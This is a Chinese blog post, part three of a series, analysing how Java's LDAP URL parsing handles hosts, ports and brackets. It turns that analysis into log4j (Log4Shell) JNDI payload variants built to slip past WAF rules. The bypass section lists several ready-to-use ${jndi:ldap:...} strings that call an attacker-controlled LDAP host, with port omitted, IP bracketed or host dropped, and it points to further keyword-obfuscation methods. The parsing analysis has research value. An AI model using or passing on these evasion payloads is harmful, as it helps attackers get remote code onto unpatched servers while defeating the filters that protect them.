如何跟踪log4j漏洞原理及发现绕WAF的tips( 三 )


this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";if (this.hostname.charAt(0) == '[') {this.hostname = this.hostname.substring(1, this.hostname.length() - 1);}if (var3 > 0) {this.port_number = var3;} else {this.port_number = this.useSsl ? 636 : 389;this.useDefaultPortNumber = true;}其中var2=LdapURL中解析的host,var3=LdapURL中解析的port

  • 注意到代码逻辑,如果var2为null,则直接使this.hostname="localhost";
  • 如果hostname的第一个字符为"[",则取出第二个字符至倒数第二个字符的子字符串,即从[ip],去掉[],获得ip
  • 如果var3<=0,即LdapURL解析port失败,则在使用ldaps时,端口改为636,使用ldap时,端口强制改为389
这些逻辑是变换ldap字符串的关键
Bypass WAF tips
根据前面LdapURL和LdapCtx的解析逻辑,可以对log4j的payload做出如下变换
  • 不出现port,避免被waf匹配ip:port
${jndi:ldap:192.168.1.1/a}${jndi:ldap:192.168.1.1:/a}注意此时需要ldap服务端口为389
如何跟踪log4j漏洞原理及发现绕WAF的tips

文章插图
 
  • 对IP添加包裹
前面两个类的解析逻辑中都有对中括号[]的处理,所以给ip添加一下包裹
${jndi:ldap://[192.168.34.96]/a}${jndi:ldap://[192.168.34.96]]/a} LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
  • 不出现ip和端口(有点鸡肋)
${jndi:ldap:/a}此时相当于ldap://localhost:389/a这种情况主要是来自于LdapURL解析URL时出错,导致host=null,port=-1,而后LdapCtx中发现host=null,则将host置为localhost,毕竟这样做看起来是可信的
原理是,LdapURL解析时有个关键处理如下
this.hasAuthority = var1.startsWith("//", var2);// var2=第一个冒号的索引if (hasAuthority){解析获取host和port}此时不出现://这个整体,就可以直接跳出host和port的获取,而后在LdapCtx中对host=null时,赋值为localhost,对port=默认值-1时,赋值为389
如何跟踪log4j漏洞原理及发现绕WAF的tips

文章插图
 
这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务,但都可以在目标上执行命令了,还需要这样干吗?所以有点鸡肋,除非java程序的权限比可以执行命令的用户权限更高,从而拿到更高权限(不过提权姿势也很多啊)
  • 不出现jndi:ldap关键字
通过upperCase、fastjson的unicode编码等方法可以避免该关键字,具体就不重复写,直接引用浅蓝师傅的博客了
https://b1ue.cn/archives/513.html ,
另外可以对log4j解析${}的部分深入了解一下,还能通过其自身特性,避免直接出现jndi:ldap关键字,但不是自己研究出来的就不公开了

【如何跟踪log4j漏洞原理及发现绕WAF的tips】


推荐阅读